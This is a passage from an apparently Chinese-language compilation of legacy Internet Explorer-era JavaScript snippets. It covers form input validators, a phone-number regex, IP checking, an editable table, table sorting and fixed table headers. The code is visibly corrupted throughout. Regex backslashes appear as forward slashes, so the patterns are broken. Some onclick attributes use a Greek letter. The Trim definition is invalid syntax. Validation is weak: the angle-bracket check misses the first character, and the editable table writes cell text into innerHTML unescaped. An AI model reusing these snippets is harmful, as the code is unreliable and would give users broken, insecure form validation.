      New_CW.show(0, 0, screen.width, screen.height);
      New_CW.document.all.include.style.width = screen.width;
   }
}

window.onfocus  = show_CW;
window.onresize = show_CW;

// Move Window
var drag_x,drag_y,draging=false

function drag_move(e){
   if (draging){
      New_CW.show(e.screenX-drag_x, e.screenY-drag_y, CW_width, CW_height);
      return false;
   }
}

function drag_down(e){
   if(e.button==2)return;
   if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height)return;
   drag_x=e.clientX;
   drag_y=e.clientY;
   draging=true;
   e.srcElement.setCapture();
}

function drag_up(e){
   draging=false;
   e.srcElement.releaseCapture();
   if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height) return;
   CW_top  = e.screenX-drag_x;
   CW_left = e.screenY-drag_y;
}

</SCRIPT>
</HTML>

JS判断全收集
js


/*$#################################################$*/
/* 程序功能:输入验证                                */
/* 函数名称:                                        */
/* function CheckData(valname,val,valimode,limitlen) */
/* 功能说明:验证字符串数据                          */
/* function CheckUserName(val,min,max)               */
/* 功能说明:验证用户名                              */
/* function CheckPassWord(val,min,max)               */
/* 功能说明:验证密码                                */
/* function IsSame(val1,val2)                        */
/* 验证密码匹配                                      */
/* function CheckEmail(val,mode)                     */
/* 功能说明:验证Email                               */
/* function CheckValHeight(val,min,max,mode)         */
/* 功能说明:验证用户身高                            */
/* function CheckValWeight(val,min,max,mode)         */
/* 功能说明:验证用户体重                            */
/* function CheckNumber(val,min,max,mode)            */
/* 功能说明:验证数值                                */
/* function CheckPositive(val,min,max,mode)          */
/* 功能说明:验证正数值                              */
/* function CheckNegative(val,min,max,mode)          */
/* 功能说明:验证负数值                              */
/* function CheckFloat(val,min,max,mode)             */
/* 功能说明:验证浮点数值                            */
/* function CheckPath(val,mode)                      */
/* 功能说明:验证文件路径                            */
/* function CheckURL(val,mode)                       */
/* 功能说明:验证URL                                 */
/* function CheckChinaIDCard_J(val,mode)             */
/* 功能说明:验证身份证                              */
/* function isInteger(sNum)                          */
/* 功能说明:验证整数                                */
/* function CheckZip(val,slen,mode)                  */
/* 功能说明:验证Zip                                 */
/* 输入参数:mode真&假(是否允许为空)                 */
/*           val表单(被判断项),va2表单(被判断项)    */
/*           max(最大值),min(最小值) ......         */
/* 编写时间:              2003.09.08.2214           */
/*$#################################################$*/

//验证字符串数据
function CheckData(valname,val,valimode,limitlen){
   if( val.value.indexOf("<",0)>0 || val.value.indexOf(">",0)>0){
      alert(valname+"不能包含<或>字符!。");
      val.focus();
      val.select();   
      return false;
   }
    if(valimode==1){
      if(isblank(val.value)){
         alert(valname+"不能为空!");
         val.focus();
         val.select();   
            return false;
        }
        tmp=new String(val.value)
      if(istoolong(tmp,limitlen)){
         alert(valname+"不能超过"+limitlen+"个字符!");
         val.focus();
         val.select();   
            return false;
        }
    }
    else{
      tmp=new String(val.value)
        if(istoolong(tmp,limitlen)){
         alert(valname+"不能超过"+limitlen+"个字符!!");
         val.focus();
         val.select();   
            return false;
        }
    }
    return true;
}
function isblank(str){
    var i;
    var len=str.length;
    for(i=0;i<len;++i){
      if(str.charAt(i)!=" ")
         return false;
    }
    return true;
}
function istoolong(str,i){
    var len=str.length;
    if(i==0)
      return false;
    else{   
        if(len>i)
          return true;
        else
         return false;
    }
}

//验证用户名
function CheckUserName(val,min,max){
   var len = val.value.length;
   if (len<min || len>max){
      alert("用户名长度不正确,应为"+min+"-"+max+"个英文字母、数字。");
      val.focus();
      val.select();   
      return false;
   }
   for (i=0;i<val.value.length;i++){
      var ch = val.value.charAt(i);
      if ( (ch<"0" || ch>"9") && (ch<"a" || ch >"z")){
         alert("用户名必须由小写字母或数字组成。");
         val.focus();
         val.select();   
         return false;
      }
   }
           var first =val.value.charAt(0)
           if (first<"a" || ch >"z"){
           alert("用户名必须由小写字母开头。");
         val.focus();
         val.select();   
         return false;
       }

   return true;
}
//验证密码
function CheckPassWord(val,min,max){
   var len = val.value.length;
   if (len<min || len>max){
      alert("密码长度不正确,应为"+min+"-"+max+"个英文字母、数字。");
      val.focus();
      val.select();   
      return false;
   }
   for (i=0;i<val.value.length;i++){
      var ch = val.value.charAt(i);
      if ( (ch<"0" || ch>"9") && (ch<"a" || ch >"z")){
         alert("密码必须由小写字母或数字组成。");
         val.focus();
         val.select();   
         return false;
      }
   }
   return true;
}
//验证密码匹配
function IsSame(val1,val2){
   if (val1.value != val2.value ){
      alert("两次输入的密码不相同。");
      val2.focus();
      val2.select();   
      return false;
   }
   else
      return true;
}
//验证Email
function CheckEmail(val,mode){
   if((mode==0) && (val.value=="")){
      return true;
   }

   var etext
   var elen
   var i
   var aa
   etext=val.value
   elen=etext.length
   if (elen<5){
      alert("请输入正确的Email。");
      val.focus();
      val.select();   
      return false;
   }
   i= etext.indexOf("@",0)
   if (i==0 || i==-1 || i==elen-1){
      alert("请输入正确的Email。");
      val.focus();
      val.select();   
      return false;
   }
   else{
      if (etext.indexOf("@",i+1)!=-1){
         alert("请输入正确的Email。");
         val.focus();
         val.select();   
         return false;
      }
   }
   if (etext.indexOf("..",i+1)!=-1){
      alert("请输入正确的Email。");
      val.focus();
      val.select();   
      return false;
   }
   i=etext.indexOf(".",0)
   if (i==0 || i==-1 || etext.charAt(elen-1)=='.'){
      alert("请输入正确的Email。");
      val.focus();
      val.select();   
      return false;
   }
   if ( etext.charAt(0)=='-' ||  etext.charAt(elen-1)=='-'){
      alert("请输入正确的Email。");
      val.focus();
      val.select();   
      return false;
   }
   if ( etext.charAt(0)=='_' ||  etext.charAt(elen-1)=='_'){
      alert("请输入正确的Email。");
      val.focus();
      val.select();   
      return false;
   }
   for (i=0;i<=elen-1;i++){
      aa=etext.charAt(i)
      if (!((aa=='.') || (
aa=='@') || (aa=='-') ||(aa=='_') || (aa>='0' && aa<='9') || (aa>='a' && aa<='z') || (aa>='A' && aa<='Z'))){
         alert("请输入正确的Email。");
         val.focus();
         val.select();   
         return false;
      }
   }
   return true;
}

//验证用户身高
function CheckValHeight(val,min,max,mode){
   if((mode==0) && (val.value=="")){
      return true;
   }
   
   var len = val.value.length;
   if (len<min || len>max){
      alert("请输入正确的身高数据。");
      val.focus();
      val.select();   
      return false;
   }
   var val2 = val.value;
   for (i=0;i<val2.length;i++){
      var ch = val2.charAt(i);
      if ( (ch<"0" || ch>"9") ){
         alert("身高数据必须由有效数字组成。");
         val.focus();
         val.select();   
         return false;
      }
   }
   if (isNaN(val2)){   
      alert("身高数据必须由有效数字组成。");
      val.focus();
      val.select();   
      return false;
   }
   else if (parseInt(val2)<=0){
      alert("身高数据必须由有效数字组成。");
      val.focus();
      val.select();   
      return false;
   }
   else if (val2.indexOf('0')==0){
      alert("身高数据必须由有效数字组成。");
      val.focus();
      val.select();   
      return false;
   }
   return true;
}
//验证用户体重
function CheckValWeight(val,min,max,mode){
   if((mode==0) && (val.value=="")){
      return true;
   }
   
   var len = val.value.length;
   if (len<min || len>max){
      alert("请输入正确的体重数据。");
      val.focus();
      val.select();   
      return false;
   }
   var val2 = val.value;
   for (i=0;i<val2.length;i++){
      var ch = val2.charAt(i);
      if ( (ch<"0" || ch>"9") ){
         alert("体重数据必须由有效数字组成。");
         val.focus();
         val.select();   
         return false;
      }
   }
   if (isNaN(val2)){   
      alert("体重数据必须由有效数字组成。");
      val.focus();
      val.select();   
      return false;
   }
   else if (parseInt(val2)<=0){
      alert("体重数据必须由有效数字组成。");
      val.focus();
      val.select();   
      return false;
   }
   else if (val2.indexOf('0')==0){
      alert("体重数据必须由有效数字组成。");
      val.focus();
      val.select();   
      return false;
   }
   return true;
}
//验证数值
function CheckNumber(val,min,max,mode){
   if((mode==0) && (val.value=="")){
      return true;
   }
   
   var len = val.value.length;
   if (len<min || len>max){
      alert("请输入正确的数值。");
      val.focus();
      val.select();   
      return false;
   }
   var val2 = val.value;
   for (i=1;i<val2.length;i++){
      var ch = val2.charAt(i);
      if ( (ch<"0" || ch>"9" ) ){
         alert("请输入正确的数值。");
         val.focus();
         val.select();   
         return false;
      }
   }
   if (isNaN(val2)){   
      alert("请输入正确的数值。");
      val.focus();
      val.select();   
      return false;
   }
   else if (val2.indexOf('0')==0 && len>1){
      alert("请输入正确的有效数值。");
      val.focus();
      val.select();   
      return false;
   }
   else if (val2.indexOf('-')==0 && val2.indexOf('0')==1){
      alert("请输入正确的有效数值。");
      val.focus();
      val.select();   
      return false;
   }
   return true;
}
//验证正数值
function CheckPositive(val,min,max,mode){
   if((mode==0) && (val.value=="")){
      return true;
   }
   
   if(!CheckNumber(val,min,max,mode)){
      val.focus();
      val.select();   
      return false;
   }
   if (parseInt(val.value)<=0){
      alert("数据必须为有效的正整数。");
      val.focus();
      val.select();   
      return false;
   }

   return true;
}

//验证负数值
function CheckNegative(val,min,max,mode){
   if((mode==0) && (val.value=="")){
      return true;
   }
   
   if(!CheckNumber(val,min,max,mode)){
      val.focus();
      val.select();   
      return false;
   }
   if (parseInt(val.value)>=0){
      alert("数据必须为有效的负整数。");
      val.focus();
      val.select();   
      return false;
   }

   return true;
}
//验证浮点数值
function CheckFloat(val,min,max,mode){
   if((mode==0) && (val.value=="")){
      return true;
   }
   
   var len = val.value.length;
   if (len<min || len>max){
      alert("请输入正确的浮点数值。");
      val.focus();
      val.select();   
      return false;
   }
   var val2 = val.value;
   for (i=1;i<val2.length;i++){
      var ch = val2.charAt(i);
      if ( (ch<"0" || ch>"9" ) ){
         if(ch!="."){
            alert("请输入正确的浮点数值。");
            val.focus();
            val.select();   
            return false;
         }
      }
   }
   if (isNaN(val2)){   
      alert("请输入正确的浮点数值。");
      val.focus();
      val.select();   
      return false;
   }
   else if (val2.indexOf('0')==0 && val2.indexOf('.')!=1){
      alert("请输入正确的有效浮点数值。");
      val.focus();
      val.select();   
      return false;
   }
   else if (val2.indexOf('-')==0 && val2.indexOf('0')==1 && val2.indexOf('.')!=2){
      alert("请输入正确的有效浮点数值。");
      val.focus();
      val.select();   
      return false;
   }
   else if (val2.indexOf('-')==0 && val2.indexOf('.')==1){
      alert("请输入正确的有效浮点数值。");
      val.focus();
      val.select();   
      return false;
   }
   else if (val2.indexOf('.')==0){
      alert("请输入正确的有效浮点数值。");
      val.focus();
      val.select();   
      return false;
   }
   return true;
}
//验证文件路径
function CheckPath(val,mode){
   if((mode==0) && (val.value=="")){
      return true;
   }
   
   var val2 = val.value;
   if ( val2.indexOf('://')>0 ){
      var isNot=" 
!@#$^*()'`~|]}[{;.>,<?%&+=";
      if (val2.indexOf('/"')>0){
         alert("请输入正确的文件路径。");
         val.focus();
         val.select();   
         return false;
      }
      else{
         for (var i = 0;i < val2.length;i++){
            for (var x = 1 ;x < isNot.length;x++){
               if (val2.charAt(i)==isNot.charAt(x)){
                  alert("请输入正确的文件路径。");
                  val.focus();
                  val.select();   
                  return false;
               }
            }
         }
      }
   }
   else{
      alert("请输入正确的文件路径。");
      val.focus();
      val.select();   
      return false;
   }
   return true;
}
//验证URL
function CheckURL(val,mode){
   if((mode==0) && (val.value=="")){
      return true;
   }
   
   var val2 = val.value;
   if ( val2.indexOf('://')>0 ){
      var isNot=" 
!@$^*()'`~|]}[{;.>,<";
      if (val2.indexOf('/"')>0){
         alert("请输入正确的URL。");
         val.focus();
         val.select();   
         return false;
      }
      else{
         for (var i = 0;i < val2.length;i++){
            for (var x = 1 ;x < isNot.length;x++){
               if (val2.charAt(i)==isNot.charAt(x)){
                  alert("请输入正确的URL。");
                  val.focus();
                  val.select();   
                  return false;
               }
            }
         }
      }
   }
   else{
      alert("请输入正确的URL。");
      val.focus();
      val.select();   
      return false;
   }
   return true;
}
//验证身份证
function CheckChinaIDCard_J(val,mode){
   if((mode==0) && (val.value=="")){
      return true;
   }
   
    sNo = val.value.toString()
   if (!isInteger(sNo)) {
      alert("请输入正确的身份证。");
      val.focus();
      val.select();   
      return false
   }   
   switch(sNo.length){
      case 15: if (isValidDate(sNo.substr(6,2),sNo.substr(8,2),sNo.substr(10,2))) {
         return true
      }
      case 17: if (isValidDate(sNo.substr(6,4),sNo.substr(10,2),sNo.substr(12,2))) {
         return true
      }
   }
   alert("请输入正确的身份证。");
   val.focus();
   val.select();   
   return false
}
function isInteger(sNum) {
   var   num
   num=new RegExp('[^0-9_]','')
   if (isNaN(sNum)) {
      return false
   }
   else {
      if (sNum.search(num)>=0) {
         return false
      }
      else {
         return true
      }
   }
}

//验证Zip
function CheckZip(val,slen,mode){
   if((mode==0) && (val.value=="")){
      return true;
   }
   
   if(val.value.length!=slen){
      alert('请输入正确的邮政编码!!');
      val.focus();
      val.select();   
      return false
   }
   var r1
   r1 = new RegExp('[^0-9]','');
   if ( val.value.search(r1) >= 0 ) {
      alert('请输入正确的邮政编码!!');
      val.focus();
      val.select();   
      return false
   }
   else
      return true;
}


电话号码的验证
电话号码的验证

要求:
  (1)电话号码由数字、"("、")"和"-"构成
  (2)电话号码为3到8位
  (3)如果电话号码中包含有区号,那么区号为三位或四位
  (4)区号用"("、")"或"-"和其他部分隔开
  (5)移动电话号码为11或12位,如果为12位,那么第一位为0
  (6)11位移动电话号码的第一位和第二位为"13"
  (7)12位移动电话号码的第二位和第三位为"13"
  根据这几条规则,可以与出以下正则表达式:
  (^[0-9]{3,4}/-[0-9]{3,8}$)|(^[0-9]{3,8}$)|(^/([0-9]{3,4}/)[0-9]{3,8}$)|(^0{0,1}13[0-9]{9}$)


<script language="javascript">
function PhoneCheck(s) {
var str=s;
var reg=/(^[0-9]{3,4}/-[0-9]{3,8}$)|(^[0-9]{3,8}$)|(^/([0-9]{3,4}/)[0-9]{3,8}$)|(^0{0,1}13[0-9]{9}$)/
alert(reg.test(str));
}
</script>
<input type=text name="iphone">
<input type=button οnclick="PhoneCheck(document.all.iphone.value)" value="Check">

自由编辑表格
//===============================start================================


<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=gb2312">
<TITLE>测试修改表格</TITLE>
<STYLE>
/*提示层的样式*/
div
{
  BORDER-RIGHT: #80c144 1px solid;
  BORDER-TOP: #80c144 1px solid;
  VISIBILITY: hidden;
  BORDER-LEFT: #80c144 1px solid;
  CURSOR: default;
  LINE-HEIGHT: 20px;
  BORDER-BOTTOM: #80c144 1px solid;
  FONT-FAMILY: 宋体;
  font-size:12px;
  POSITION: absolute;
  BACKGROUND-COLOR: #f6f6f6;
  TOP:30px;
  LEFT:30px;
}
/*tr的样式*/
tr
{
    font-family: "宋体";
    color: #000000;
    background-color: #C1DBF5;
    font-size: 12px
}
/*table脚注样式*/
.TrFoot
{
    FONT-SIZE: 12px;
    font-family:"宋体", "Verdana", "Arial";
    BACKGROUND-COLOR: #6699CC;
    COLOR:#FFFFFF;
    height: 25;
}
/*trhead属性*/
.TrHead
{
    FONT-SIZE: 13px;
    font-family:"宋体", "Verdana", "Arial";
    BACKGROUND-COLOR: #77AADD;
    COLOR:#FFFFFF;
    height: 25;
}
/*文本框样式*/
INPUT
{
    BORDER-COLOR: #AACEF7 #AACEF7 #AACEF7 #AACEF7;
    BORDER-RIGHT: 1px solid;
    BORDER-TOP: 1px solid;
    BORDER-LEFT: 1px solid;
    BORDER-BOTTOM: 1px solid;
    FONT-SIZE: 12px;
    FONT-FAMILY: "宋体","Verdana";
    color: #000000;
    BACKGROUND-COLOR: #E9EFF5;
}
/*button样式*/
button
{
    BORDER-COLOR: #AACEF7 #AACEF7 #AACEF7 #AACEF7;
    BACKGROUND-COLOR: #D5E4F3;
    CURSOR: hand;
    FONT-SIZE:12px;
    BORDER-RIGHT: 1px solid;
    BORDER-TOP: 1px solid;
    BORDER-LEFT: 1px solid;
    BORDER-BOTTOM: 1px solid;
    COLOR: #000000;
}
</STYLE>
</HEAD>
<BODY>
<SCRIPT language = "JavaScript">
<!--全局变量
//标志位,值为false代表未打开一个编辑框,值为true为已经打开一个编辑框开始编辑
var editer_table_cell_tag = false;
//开启编辑功能标志,值为true时为允许编辑
var run_edit_flag = false;
//-->
</SCRIPT>

<SCRIPT language = "JavaScript">
<!--
/**
 * 编辑表格函数
 * 单击某个单元格可以对里面的内容进行自由编辑
 * @para tableID 为要编辑的table的id
 * @para noEdiID 为不要编辑的td的ID,比如说table的标题
 * 可以写为<TD id="no_editer">自由编辑表格</TD>
 * 此时该td不可编辑
 */
function editerTableCell(tableId,noEdiId)
{
   var tdObject = event.srcElement;
   var tObject = ((tdObject.parentNode).parentNode).parentNode;
   if(tObject.id == tableId &&tdObject.id != noEdiId&&editer_table_cell_tag == false && run_edit_flag == true)
   {
      tdObject.innerHTML = "<input type=text id=edit_table_txt name=edit_table_txt value="+tdObject.innerText+" size='15' onKeyDown='enterToTab()'>  <input type=button value=' 确定 ' οnclick='certainEdit()'>";
      edit_table_txt.focus();
      edit_table_txt.select();
      editer_table_cell_tag = true;
      //修改按钮提示信息
      editTip.innerText = "请先点确定按钮确认修改!";      
   }
   else
   {
      return false;
   }
}

/**
 * 确定修改
 */
function certainEdit()
{
   var bObject = event.srcElement;
   var tdObject = bObject.parentNode;   
   var txtObject = tdObject.firstChild;
   tdObject.innerHTML = txtObject.value;
   //代表编辑框已经关闭
   editer_table_cell_tag = false;
   //修改按钮提示信息
   editTip.innerText = "请单击某个单元格进行编辑!";
}

function enterToTab()
{
    if(event.srcElement.type != 'button' && event.srcElement.type != 'textarea'
       && event.keyCode == 13)
    {
        event.keyCode = 9;
    }
}

/**
 * 控制是否编辑
 */
function editStart()
{
   if(event.srcElement.value == "开始编辑")
   {
      event.srcElement.value = "编辑完成";
      run_edit_flag = true;
   }
   else
   {
      //如果当前没有编辑框,则编辑成功,否则,无法提交
      //必须按确定按钮后才能正常提交
      if(editer_table_cell_tag == false)
      {
         alert("编辑成功结束!");
         event.srcElement.value = "开始编辑";
         run_edit_flag = false;
      }
   }
}

/**
 * 根据不同的按钮提供不同的提示信息
 */
function showTip()
{
   if(event.srcElement.value == "编辑完成")
   {
      editTip.style.top = event.y + 15;
      editTip.style.left = event.x + 12;
      editTip.style.visibility = "visible";      
   }
   else
   {
      editTip.style.visibility = "hidden";         
   }   
}
-->
</SCRIPT>
<TABLE id="editer_table" width="100%" align="center" 
      οnclick="editerTableCell('editer_table','no_editer')">  
    <TR class="TrHead">
      <TD colspan="3" align="center" id="no_editer">自由编辑表格</TD>      
   </TR>
   <TR>
      <TD width="33%">单击开始编辑按钮,然后点击各单元格编辑</TD>
      <TD width="33%">2</TD>
      <TD width="33%">3</TD>
   </TR>
   <TR>
      <TD width="33%">4</TD>
      <TD width="33%">5</TD>
      <TD width="33%">6</TD>
   </TR>
   <TR>
      <TD width="33%">one</TD>
      <TD width="33%">two</TD>
      <TD width="33%">three</TD>
   </TR>
   <TR>
      <TD width="33%">four</TD>
      <TD width="33%">five</TD>
      <TD width="33%">six</TD>
   </TR>      
    <TR class="TrFoot">
      <TD colspan="3" align="center" id="no_editer">
         <INPUT type="button" class="bt" value="开始编辑" onClick="editStart()" onMouseOver="showTip()" onMouseMove="showTip()" onMouseOut="editTip.style.visibility = 'hidden';">
      </TD>
   </TR>   
</TABLE>
</BODY>
<DIV id="editTip">请单击某个单元格进行编辑!</DIV> 
</HTML>


验证ip


str=document.RegExpDemo.txtIP.value;
if(/^(/d{1,3})/.(/d{1,3})/.(/d{1,3})/.(/d{1,3})$/.test(str)==false)
{
   window.alert('错误的IP地址格式');
   document.RegExpDemo.txtIP.select();
   document.RegExpDemo.txtIP.focus();
   return;
}
if(RegExp.$1<1 || RegExp.$1>254||RegExp.$2<0||RegExp.$2>254||RegExp.$3<0||RegExp.$3>254||RegExp.$4<1||RegExp.$4>254)
{
   window.alert('错误的IP地址');
   document.RegExpDemo.txtIP.select();
   document.RegExpDemo.txtIP.focus();
   return;
}
//剔除 如  010.020.020.03 前面 的0 
var str=str.replace(/0(/d)/g,"$1");
str=str.replace(/0(/d)/g,"$1");
window.alert(str);


升降序排列数据(表格)
//一下是取数据的类
//Obj参数指定数据的来源(限定Table),默认第一行为字段名称行
//GetTableData类提供MoveNext方法,参数是表的行向上或向下移动的位数,正数向下移动,负数向上.
//GetFieldData方法获得指定的列名的数据
//Sort_desc方法对指定的列按降序排列
//Sort_asc方法对指定的列按升序排列
//GetData方法返回字段值为特定值的数据数组,提供数据,可以在外部进行其他处理
//Delete方法删除当前记录,数组减少一行
//初始化,Obj:table的名字,Leftlen:左面多余数据长度,Rightlen:右面多余数据长度,
function GetTableData(Obj,LeftLen,RightLen){
var MyObj=document.all(Obj);
var iRow=MyObj.rows.length;
var iLen=MyObj.rows[0].cells.length;
var i,j;

TableData=new Array();
      for (i=0;i< iRow;i++){
         TableData[i]=new Array();
         for (j=0;j<iLen;j++){
         TableStr=MyObj.rows(i).cells(j).innerText;
         TableStr=TableStr.substring(LeftLen, TableStr.length-RightLen).Trim();
         TableStr=TableStr.replace(/ /gi,"").replace(//r/n/ig,"");
         TableData[i][j]=TableStr;
         }
         }
    
    this.TableData=TableData; 
    this.cols=this.TableData[0].length;
    this.rows=this.TableData.length;
    this.rowindex=0;
}


function movenext(Step){
if (this.rowindex>=this.rows){
return
}

if (Step=="" || typeof(Step)=="undefined") {
   if (this.rowindex<this.rows-1)
   this.rowindex++;
   return;

}
   else{
      if (this.rowindex + Step<=this.rows-1 && this.rowindex + Step>=0 ){
      this.rowindex=this.rowindex + Step;
      }
      else
      {
      if (this.rowindex + Step<0){
       this.rowindex= 0;
       return;
       }
      if (this.rowindex + Step>this.rows-1){
       this.rowindex= this.rows-1;
       return;
       }
      }
   }
}


function getfielddata(Field){
var colindex=-1;
var i=0;
   if (typeof(Field) == "number"){
         colindex=Field;
      }
   else
   {
   for (i=0;i<this.cols && this.rowindex<this.rows ;i++){
         if (this.TableData[0][i]==Field){
         colindex=i;
         break;
         }      
      }
   }
      if (colindex!=-1) {
      return this.TableData[this.rowindex][colindex];
      }

}

function sort_desc(){//降序
   var colindex=-1;
   var highindex=-1;
   desc_array=new Array();
   var i,j;
for (n=0; n<arguments.length; n++){
   Field=arguments[arguments.length-1-n];
   for (i=0;i<this.cols;i++){
      if (this.TableData[0][i]==Field){
      colindex=i;
      break;
      }      
   }
   if ( colindex==-1 )
      return;
   else
      {
      desc_array[0]=this.TableData[0];
      for(i=1;i<this.rows;i++){
      desc_array[i]=this.TableData[1];
      highindex=1;
         for(j=1;j<this.TableData.length;j++){
            if    (desc_array[i][colindex]<this.TableData[j][colindex]){   
                desc_array[i]=this.TableData[j];   
                highindex=j;
            }
            
         }
               if (highindex!=-1)
               this.TableData=this.TableData.slice(0,highindex).concat(this.TableData.slice(highindex+1,this.TableData.length));                      
      }
   }

 
   this.TableData=desc_array;
}
   return;
}

function sort_asc(){//升序
   var colindex=-1;
   var highindex=-1;
   var i,j;
for (n=0; n<arguments.length; n++){
         asc_array=new Array();
         Field=arguments[arguments.length-1-n];
         for (i=0;i<this.cols;i++){
            if (this.TableData[0][i]==Field){
            colindex=i;
            break;
            }      
         }
         if ( colindex==-1 )
               return;
         else
               {
               asc_array[0]=this.TableData[0];
               for(i=1;i<this.rows;i++){
               asc_array[i]=this.TableData[1];
               highindex=1;
                  for(j=1;j<this.TableData.length;j++){//找出最小的列值
                     if    (asc_array[i][colindex]>this.TableData[j][colindex]){   
                         asc_array[i]=this.TableData[j];   
                         highindex=j;
                              
                        }
                              
                     }
                           if (highindex!=-1)
                           this.TableData=this.TableData.slice(0,highindex).concat(this.TableData.slice(highindex+1,this.TableData.length));                      
                           
                  }
               }

 
            this.TableData=asc_array;
   }
   return;
}

function getData(Field,FieldValue){
var colindex=-1;
var i,j;

GetData=new Array();
      if (typeof(Field)=="undefined" || typeof(FieldValue)=="undefined" ){
      return this.TableData;
      }
      
         for(j=0;j<this.cols;j++){
            if    (this.TableData[0][j]==Field){
               colindex=j;
               }
         }
         if (colindex!=-1){
         
         for(i=1;i<this.rows;i++){
            if    (this.TableData[i][colindex]==FieldValue){
               GetData[i]=new Array();
               GetData[i]=this.TableData[i];   
               }
         }
         }
   return GetData;
}
function DeletE(){
this.TableData=this.TableData.slice(0,this.rowindex).concat(this.TableData.slice(this.rowindex+1,this.TableData.length));                      
this.rows=this.TableData.length;
return;
}
function updateField(Field,FieldValue){
var colindex=-1;
var i=0;
   if (typeof(Field) == "number"){
         colindex=Field;
      }
   else
   {
   for (i=0;i<this.cols && this.rowindex<this.rows ;i++){
         if (this.TableData[0][i]==Field){
         colindex=i;
         break;
         }      
      }
   }
   if (colindex!=-1) {
      this.TableData[this.rowindex][colindex]=FieldValue;
      }


}
function movefirst(){
this.rowindex=0;
}
function movelast(){
this.rowindex=this.rows-1;
}
function String.prototype.Trim() {return this.replace(/(^/s*)|(/s*$)/g,"");}
GetTableData.prototype.MoveNext = movenext;
GetTableData.prototype.GetFieldData = getfielddata;
GetTableData.prototype.Sort_asc = sort_asc;
GetTableData.prototype.Sort_desc = sort_desc;
GetTableData.prototype.GetData = getData;
GetTableData.prototype.Delete = DeletE;
GetTableData.prototype.UpdateField = updateField;
GetTableData.prototype.MoveFirst = movefirst;

在每个文本框的onblur事件中调用校验代码,并且每个文本框中onKeyDown事件中写一个enter转tab函数
//回车键换为tab
function enterToTab()
{
    if(event.srcElement.type != 'button' && event.srcElement.type != 'textarea'
       && event.keyCode == 13)
    {
        event.keyCode = 9;
    }
}

固定表头技术(表格)
方法一、

用上下两个框架啊 上面的框架读“表头”,下面的框架读“内容”,如:
<frameset rows="55,*" framespacing="0">
  <frame name="head" scrolling="no" frameborder="0" border="0" noresize src="表头.htm">
  <frame name="main" scrolling="auto" frameborder="0" border="0" noresize src="内容.htm">
</frameset>


方法二、
用脚本:
<body>

<script language=JavaScript>
   self.onError=null;
   currentX = currentY = 0;  
   whichIt = null;           
   lastScrollX = 0; lastScrollY = 0;
   NS = (document.layers) ? 1 : 0;
   IE = (document.all) ? 1: 0;
   <!-- STALKER CODE -->
   function heartBeat() {
      if(IE) { diffY = document.body.scrollTop; diffX = document.body.scrollLeft; }
       if(NS) { diffY = self.pageYOffset; diffX = self.pageXOffset; }
      if(diffY != lastScrollY) {
                   percent = .1 * (diffY - lastScrollY);
                   if(percent > 0) percent = Math.ceil(percent);
                   else percent = Math.floor(percent);
               if(IE) document.all.floater.style.pixelTop += percent;
               if(NS) document.floater.top += percent; 
                   lastScrollY = lastScrollY + percent;
       }
      if(diffX != lastScrollX) {
         percent = .1 * (diffX - lastScrollX);
         if(percent > 0) percent = Math.ceil(percent);
         else percent = Math.floor(percent);
         if(IE) document.all.floater.style.pixelLeft += percent;
         if(NS) document.floater.left += percent;
         lastScrollX = lastScrollX + percent;
      }   
   }
   <!-- /STALKER CODE -->
   <!-- DRAG DROP CODE -->
   function checkFocus(x,y) { 
           stalkerx = document.floater.pageX;
           stalkery = document.floater.pageY;
           stalkerwidth = document.floater.clip.width;
           stalkerheight = document.floater.clip.height;
           if( (x > stalkerx && x < (stalkerx+stalkerwidth)) && (y > stalkery && y < (stalkery+stalkerheight))) return true;
           else return false;
   }
   function grabIt(e) {
      if(IE) {
         whichIt = event.srcElement;
         while (whichIt.id.indexOf("floater") == -1) {
            whichIt = whichIt.parentElement;
            if (whichIt == null) { return true; }
          }
         whichIt.style.pixelLeft = whichIt.offsetLeft;
          whichIt.style.pixelTop = whichIt.offsetTop;
         currentX = (event.clientX + document.body.scrollLeft);
            currentY = (event.clientY + document.body.scrollTop);    
      } else { 
           window.captureEvents(Event.MOUSEMOVE);
           if(checkFocus (e.pageX,e.pageY)) { 
                   whichIt = document.floater;
                   StalkerTouchedX = e.pageX-document.floater.pageX;
                   StalkerTouchedY = e.pageY-document.floater.pageY;
           } 
      }
       return true;
   }
   function moveIt(e) {
      if (whichIt == null) { return false; }
      if(IE) {
          newX = (event.clientX + document.body.scrollLeft);
          newY = (event.clientY + document.body.scrollTop);
          distanceX = (newX - currentX);    distanceY = (newY - currentY);
          currentX = newX;    currentY = newY;
          whichIt.style.pixelLeft += distanceX;
          whichIt.style.pixelTop += distanceY;
         if(whichIt.style.pixelTop < document.body.scrollTop) whichIt.style.pixelTop = document.body.scrollTop;
         if(whichIt.style.pixelLeft < document.body.scrollLeft) whichIt.style.pixelLeft = document.body.scrollLeft;
         if(whichIt.style.pixelLeft > document.body.offsetWidth - document.body.scrollLeft - whichIt.style.pixelWidth - 20) whichIt.style.pixelLeft = document.body.offsetWidth - whichIt.style.pixelWidth - 20;
         if(whichIt.style.pixelTop > document.body.offsetHeight + document.body.scrollTop - whichIt.style.pixelHeight - 5) whichIt.style.pixelTop = document.body.offsetHeight + document.body.scrollTop - whichIt.style.pixelHeight - 5;
         event.returnValue = false;
      } else { 
         whichIt.moveTo(e.pageX-StalkerTouchedX,e.pageY-StalkerTouchedY);
           if(whichIt.left < 0+self.pageXOffset) whichIt.left = 0+self.pageXOffset;
           if(whichIt.top < 0+self.pageYOffset) whichIt.top = 0+self.pageYOffset;
           if( (whichIt.left + whichIt.clip.width) >= (window.innerWidth+self.pageXOffset-17)) whichIt.left = ((window.innerWidth+self.pageXOffset)-whichIt.clip.width)-17;
           if( (whichIt.top + whichIt.clip.height) >= (window.innerHeight+self.pageYOffset-17)) whichIt.top = ((window.innerHeight+self.pageYOffset)-whichIt.clip.height)-17;
           return false;
      }
       return false;
   }
   function dropIt() {
      whichIt = null;
       if(NS) window.releaseEvents (Event.MOUSEMOVE);
       return true;
   }
   <!-- DRAG DROP CODE -->
   if(NS) {
      window.captureEvents(Event.MOUSEUP|Event.MOUSEDOWN);
      window.onmousedown = grabIt;
       window.onmousemove = moveIt;
      window.onmouseup = dropIt;
   }
   if(IE) {
      document.onmousedown = grabIt;
       document.onmousemove = moveIt;
      document.onmouseup = dropIt;
   }
   if(NS || IE) action = window.setInterval("heartBeat()",1);
</script>
